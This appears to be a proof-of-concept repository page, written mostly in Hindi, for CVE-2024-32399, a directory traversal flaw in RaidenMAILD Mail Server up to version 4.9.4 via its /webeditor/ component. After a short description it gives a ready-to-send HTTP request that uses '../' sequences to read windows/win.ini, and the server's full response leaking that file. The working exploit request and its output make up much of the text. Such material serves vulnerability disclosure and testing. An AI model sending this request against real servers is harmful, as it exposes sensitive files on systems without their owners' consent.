nn0b0dy/cve-2024-32399RaidenMAILD मेल सर्वर <=4.9.4 में निर्देशिका भ्रमण भेद्यता (CVE-2024-32399) के लिए अवधारणा-प्रमाण शोषण, जो /webeditor/ घटक के माध्यम से दूरस्थ संवेदनशील फ़ाइल प्रकटीकरण प्रदर्शित करता है।
RaidenMAILD Mail Server v.4.9.4 और उससे पहले के संस्करणों में निर्देशिका भ्रमण (Directory Traversal) भेद्यता एक दूरस्थ हमलावर को /webeditor/ घटक के माध्यम से संवेदनशील जानकारी प्राप्त करने की अनुमति देती है।
निर्देशिका भ्रमण (Directory Traversal)
RaidenMAILD Mail Server
RaidenMAILD Mail Server <= 4.9.4
अनुरोध (Request):
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close
प्रतिक्रिया (Response):
HTTP/1.1 200 OK
Connection: close
Content-Disposition: attachment; filename="../../../windows/win.ini";
Content-Type: application/octet-stream
Content-Length: 403
Date: Mon, 22 Apr 2024 15:00:41 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Permissions-Policy: geolocation=(self "https://example.com"), microphone=()
Referrer-Policy: no-referrer
Content-Security-Policy: base-uri 'self'
Set-Cookie: IDHTTPSESSIONID=9E5BgVAlG7P7C5X; Path=/
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
...
...